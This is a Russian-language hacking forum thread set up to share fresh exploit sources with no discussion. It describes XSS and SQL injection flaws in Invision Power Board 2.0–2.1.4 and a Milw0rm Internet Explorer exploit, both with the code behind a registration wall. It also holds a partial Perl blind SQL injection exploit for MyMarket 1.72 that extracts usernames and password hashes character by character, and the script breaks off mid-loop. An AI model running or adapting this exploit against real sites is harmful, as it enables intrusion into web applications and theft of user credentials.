Тема создана для того, что-бы закидывать сюда исходники свежих сплойтов! Никаких обсуждений в данной теме не ведём! Только описание сплойта, линк с исходниками или исходники,
Межсайтовый скриптинг и SQL-инъекция в Invision Power Board (2.0.0 - 2.1.4)
Описание: Уязвимость позволяет удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения.
1. Уязвимость существует из-за недостаточной обработки входных данных в файлах куки. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.
2. Уязвимость существует из-за недостаточной обработки входных данных в некоторых параметрах. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Сплойт:
» Exploit «
| У Вас нет прав для просмотра этого текста, пожалуйста, зарегистрируйтесь |
В Сети опубликован код эксплойта, использующего уязвимость в Microsoft IE. Код опубликован человеком с ником Milw0rm на своей одноименной веб-странице.
Уязвимость, которую использует эксплойт, может использоваться для несанкционированного запуска программного кода на компьютере на целевом компьютере, на котором не установлен соответствующий патч от Microsoft.
Уязвимость была обнаружена довольно давно security-экспертом HD Moore, и еще в июле прошлого года им же был опубликован код, вызывающий «крах» браузера. Microsoft выпустила соответствующее обновление в феврале 2007 года, но, по мнению аналитиков WebSense, уязвимость все еще актуальна и хакеры еще раз обратят на нее пристальное внимание в связи с выходом эксплойта.
Эксперты eEye отметили, что код Milw0rm работает для IE 6, но не функционирует под IE 7, и сообщили, что обновленная версия эксплойта, работающая и для новейшего браузера, будет опубликована позднее.
Оригинальный код эксплойта использует ошибку в функции NextRecordset() библиотеки msado15.dll и, в случае успеха, запускает calc.exe.
| У Вас нет прав для просмотра этого текста, пожалуйста, зарегистрируйтесь |
Сообщение отредактировал kolovrat - 28.03.2007 - 14:54
#http://www.site.de/mymarket/shopping/?id=bluah #Ok when we give $id an unexpected value like this we get an SQL Error. #Union selecting seems not possible... #Exploit needs a valid category id. #The Password is in md5 so exploiting will take an awful lot of time. #You will have to change the content on some sites if there are no categorys. #So I couldnt make it to write a stable expl for all sites using this. # #SQL Injection: #http://[target]/[path]/?id=[SQL]
» сплойт «
Code
#!/usr/bin/perl ###################### # #MyMarket 1.72 Blind SQL Injection Exploit # ###################### # #Bug by: h0yt3r # #Demo: http://mymarket.sourceforge.net/demo/shopping/ # ## ### ## # #http://www.site.de/mymarket/shopping/?id=bluah #Ok when we give $id an unexpected value like this we get an SQL Error. #Union selecting seems not possible... #Exploit needs a valid category id. #The Password is in md5 so exploiting will take an awful lot of time. #You will have to change the content on some sites if there are no categorys. #So I couldnt make it to write a stable expl for all sites using this. # #SQL Injection: #http://[target]/[path]/?id=[SQL] # ####################### # #Greetz to b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the foreverliving h4ck-y0u Team! # ####################### ####################### use LWP::UserAgent; my $userAgent = LWP::UserAgent->new;
print "[x]Bruteforcing Length...(if this freezes you have to change the content)\n";
my $lengthCounter = 1; while(1) { my $url = "".$vulnCheck."?id=".$id."%20and%20LENGTH((select%20concat(username,0x3a,password)%20from%20users%20limit%200,1))=".$lengthCounter.""; my $Attack= $userAgent->get($url); my $content = $Attack->content; if($content =~ m/None/i) { $lengthCounter++; } else { $length=$length.$lengthCounter; last; } }
my @Daten = ("61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","3A","5F","31","32","33","34","35","36","37","38","39","30","21","23","2B","28","29","40","2D","F5","25","26","2F","3F");
print "[x]Injecting Black Magic...will take SOME time...\n"; for($b=1;$b<=$length;$b++) { for(my $u=0;$u<53;$u++) { my $url = "".$vulnCheck."?id=".$id."%20and%20substring((select%20concat(username,0x3a,password)%20from%20users%20limit%200,1),".$b.",1)=0x".$Daten[$u]."";